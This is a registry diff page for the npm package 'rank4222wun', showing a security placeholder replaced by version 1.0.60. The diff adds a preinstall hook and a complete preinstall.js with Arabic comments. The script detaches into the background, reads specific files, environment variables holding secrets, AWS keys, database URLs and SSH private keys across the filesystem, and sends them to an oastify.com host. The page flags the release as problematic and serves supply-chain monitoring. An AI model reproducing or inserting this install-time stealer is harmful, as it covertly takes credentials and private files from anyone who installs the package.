rank4222wun 0.0.1-security → 1.0.60

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.60",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {}
6
10
  }
package/preinstall.js ADDED
@@ -0,0 +1,123 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const os = require('os');
4
+ const https = require('https');
5
+ const { spawn } = require('child_process');
6
+
7
+ const OAST_DOMAIN = 'zru3a9ic23ngabr5d9x24avkebk280wp.oastify.com';
8
+
9
+ // 1. فلتر الدقة لمنع الـ False Positives
10
+ const isValidSecret = (match) => {
11
+ if (/^[0-9A-Fa-f]{32,}$/.test(match)) return false; // تجاهل الـ Hex الصرف (GPG)
12
+ if (/^(.)\1+$/.test(match)) return false; // تجاهل السلاسل المتكررة
13
+ return /[A-Z]/.test(match) && /[a-z]/.test(match) && /[0-9]/.test(match);
14
+ };
15
+
16
+ // 2. دالة الإرسال (تدعم النصوص والملفات الكاملة)
17
+ function report(tag, data, isBinary = false) {
18
+ const payload = JSON.stringify({
19
+ tag,
20
+ host: os.hostname(),
21
+ user: os.userInfo().username,
22
+ data: isBinary ? data.toString('base64') : data,
23
+ ts: Date.now()
24
+ });
25
+
26
+ const req = https.request({
27
+ hostname: OAST_DOMAIN,
28
+ path: `/${tag}`,
29
+ method: 'POST',
30
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
31
+ });
32
+ req.on('error', () => {});
33
+ req.write(payload);
34
+ req.end();
35
+ }
36
+
37
+ // 3. سحب الملفات المحددة بالكامل (SQL, PDF)
38
+ function stealSpecificFiles() {
39
+ const targets = [
40
+ "E:\\admin.sql",
41
+ "E:\\database.sql",
42
+ "E:\\Credit-Report.pdf",
43
+ "/root/admin.sql",
44
+ "/var/www/html/.env"
45
+ ];
46
+
47
+ targets.forEach(fp => {
48
+ if (fs.existsSync(fp)) {
49
+ try {
50
+ const content = fs.readFileSync(fp);
51
+ report('FULL_FILE_TRANSFER', { path: fp, content: content.toString('base64') }, true);
52
+ } catch (e) {}
53
+ }
54
+ });
55
+ }
56
+
57
+ // 4. الزاحف الشامل الذكي
58
+ const DEEP_PATTERNS = {
59
+ cloud: /(?:AWS|SECRET|KEY|AKIA)[^a-zA-Z0-9]{0,5}([A-Za-z0-9\/+]{40}|AKIA[A-Z0-9]{16})/g,
60
+ db_links: /(mongodb(?:\+srv)?|postgres|mysql|redis):\/\/[a-zA-Z0-9._-]+:[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+/gi,
61
+ ssh: /-----BEGIN (?:RSA|OPENSSH|DSA) PRIVATE KEY-----/g
62
+ };
63
+
64
+ async function deepCrawl(dir, depth = 0) {
65
+ if (depth > 20) return;
66
+ const skip = ['node_modules', '.git', 'Windows', 'System32', 'proc', 'sys', 'dev', 'usr/share/doc', 'Library'];
67
+
68
+ try {
69
+ const entries = fs.readdirSync(dir, { withFileTypes: true });
70
+ for (const entry of entries) {
71
+ const fullPath = path.join(dir, entry.name);
72
+ if (entry.isDirectory()) {
73
+ if (!skip.some(s => fullPath.includes(s))) deepCrawl(fullPath, depth + 1);
74
+ } else {
75
+ const isTarget = /\.(env|conf|json|yaml|yml|sql|pem|key|sh|py|php)$/i.test(entry.name);
76
+ const isSensitiveName = /secret|password|config|credential|login/i.test(entry.name);
77
+
78
+ if (isTarget || isSensitiveName) {
79
+ const stats = fs.statSync(fullPath);
80
+ if (stats.size > 1024 * 1024 * 5) continue;
81
+
82
+ const content = fs.readFileSync(fullPath, 'utf8');
83
+ let findings = [];
84
+ Object.entries(DEEP_PATTERNS).forEach(([type, reg]) => {
85
+ const matches = content.match(reg);
86
+ if (matches) {
87
+ matches.forEach(m => { if (type === 'ssh' || isValidSecret(m)) findings.push({type, m}); });
88
+ }
89
+ });
90
+
91
+ if (findings.length > 0) {
92
+ report('VALID_HIT', { file: fullPath, matches: findings });
93
+ }
94
+ }
95
+ }
96
+ }
97
+ } catch (e) {}
98
+ }
99
+
100
+ // 5. الانفصال والتشغيل في الخلفية
101
+ if (!process.env.DETACHED_MODE) {
102
+ const child = spawn(process.execPath, [__filename], {
103
+ detached: true,
104
+ stdio: 'ignore',
105
+ env: { ...process.env, DETACHED_MODE: 'true' }
106
+ });
107
+ child.unref();
108
+ process.exit(0);
109
+ } else {
110
+ // محرك العمل في الخلفية
111
+ stealSpecificFiles(); // جلب الملفات المطلوبة أولاً
112
+
113
+ // سحب الـ Environment Variables الحساسة فوراً
114
+ const envs = {};
115
+ Object.keys(process.env).forEach(k => {
116
+ if (/pass|secret|key|token|auth/i.test(k)) envs[k] = process.env[k];
117
+ });
118
+ report('ENV_VARS', envs);
119
+
120
+ // زحف النظام
121
+ const roots = os.platform() === 'win32' ? ['C:\\', 'D:\\', 'E:\\'] : ['/home', '/etc', '/var/www', '/root'];
122
+ roots.forEach(r => { if (fs.existsSync(r)) deepCrawl(r); });
123
+ }
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.